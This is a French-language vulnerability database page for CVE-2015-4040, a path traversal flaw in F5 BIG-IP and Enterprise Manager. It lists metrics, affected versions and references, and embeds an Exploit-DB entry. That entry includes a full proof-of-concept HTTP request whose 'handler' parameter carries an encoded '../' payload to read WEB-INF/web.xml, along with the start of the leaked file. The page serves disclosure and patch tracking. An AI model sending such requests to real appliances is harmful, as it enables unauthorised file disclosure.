CVE-2015-4040 : Détail

CVE-2015-4040

Directory Traversal
A01-Broken Access Control
10.11%V4
Network
2015-09-17
14h00 +00:00
2016-12-06
17h57 +00:00
CVE.org
NVD
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Descriptions du CVE

Directory traversal vulnerability in the configuration utility in F5 BIG-IP before 12.0.0 and Enterprise Manager 3.0.0 through 3.1.1 allows remote authenticated users to access arbitrary files in the web root via unspecified vectors.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 4 AV:N/AC:L/Au:S/C:P/I:N/A:N nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 38448

Date de publication : 2015-10-12 22h00 +00:00
Auteur : Karn Ganeshen
EDB Vérifié : No

# Exploit Title: [F5 BigIP File Path Traversal Vulnerability] # Discovered by: Karn Ganeshen # Reported on: April 27, 2015 # New version released on: September 01, 2015 # Vendor Homepage: [www.f5.com] # Version Reported: [F5 BIG-IP 10.2.4 Build 595.0 Hotfix HF3] # CVE-2015-4040 [http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4040 ] # Multiple Additional F5 products & versions are Affected and documented here: https://support.f5.com/kb/en-us/solutions/public/17000/200/sol17253.html *Vulnerability Details* The handler parameter is vulnerable to file path manipulation attacks. When we submit a payload */tmui/locallb/virtual_server/../../../../WEB-INF/web.xml* in the *handler* parameter, the file *WEB-INF/web.xml* is returned. *PoC:* POST /tmui/Control/form HTTP/1.1 Host: <IP> Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Referer: https:// <IP>/tmui/Control/jspmap/tmui/locallb/virtual_server/list.jsp?&FilterBy=status_availability&Filter=2 Content-Type: application/x-www-form-urlencoded Content-Length: 1004 Cookie: JSESSIONID=3211A73547444840255BAF39984E7E3F; BIGIPAuthUsernameCookie=admin; BIGIPAuthCookie=9B1099DD8A936DDBD58606DA3B5BABC7E82C43A5; F5_CURRENT_PARTITION=Common; f5formpage="/tmui/locallb/virtual_server/list.jsp?&"; f5_refreshpage="https%3A//<IP>/tmui/Control/jspmap/tmui/locallb/virtual_server/list.jsp"; f5currenttab="main"; f5mainmenuopenlist=""; f5advanceddisplay="" _timenow=Fri+Apr+24+14%3a48%3a38+EST+2015&_bufvalue_before=6hU2%2fMbRfPe7OHQ7VVc7TEffOpg%3d&exit_page=%2ftmui%2flocallb%2fvirtual_server%2fcreate.jsp&search_input=*&search_button_before=Search&_timeno *...[SNIP]...* fore=&enableObjList_before=&exit_page_before=%2ftmui%2flocallb%2fvirtual_server%2fcreate.jsp&row_count=0&_bufvalue_validation=NO_VALIDATION&disable_before=Disable&exit_button_before=Create...&handler= *%2ftmui%2flocallb%2fvirtual_server%2f..%2f..%2f..%2f..%2fWEB-INF%2fweb.xml* *Web.xml is returned in the Response:* <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.2//EN" "http://java.sun.com/j2ee/dtds/web-app_2_2.dtd"> *<!--Automatically created by Tomcat JspC.--><web-app>* *...[config file output redacted here]...* *.....*

Products Mentioned

Configuraton 0

F5>>Enterprise_manager >> Version 3.0.0

F5>>Enterprise_manager >> Version 3.1.0

F5>>Enterprise_manager >> Version 3.1.1

Configuraton 0

F5>>Big-ip_access_policy_manager >> Version To (including) 11.6.0

F5>>Big-ip_advanced_firewall_manager >> Version To (including) 11.6.0

F5>>Big-ip_analytics >> Version To (including) 11.6.0

F5>>Big-ip_application_acceleration_manager >> Version To (including) 11.6.0

F5>>Big-ip_application_security_manager >> Version To (including) 11.6.0

F5>>Big-ip_edge_gateway >> Version To (including) 11.3.0

F5>>Big-ip_global_traffic_manager >> Version To (including) 11.3.0

F5>>Big-ip_link_controller >> Version To (including) 11.3.0

F5>>Big-ip_local_traffic_manager >> Version To (including) 11.6.0

F5>>Big-ip_policy_enforcement_manager >> Version To (including) 11.3.0

F5>>Big-ip_protocol_security_module >> Version To (including) 11.3.0

F5>>Big-ip_wan_optimization_manager >> Version To (including) 11.3.0

F5>>Big-ip_webaccelerator >> Version To (including) 11.3.0

Références

http://www.securitytracker.com/id/1033533
Tags : vdb-entry, x_refsource_SECTRACK
http://www.securitytracker.com/id/1033532
Tags : vdb-entry, x_refsource_SECTRACK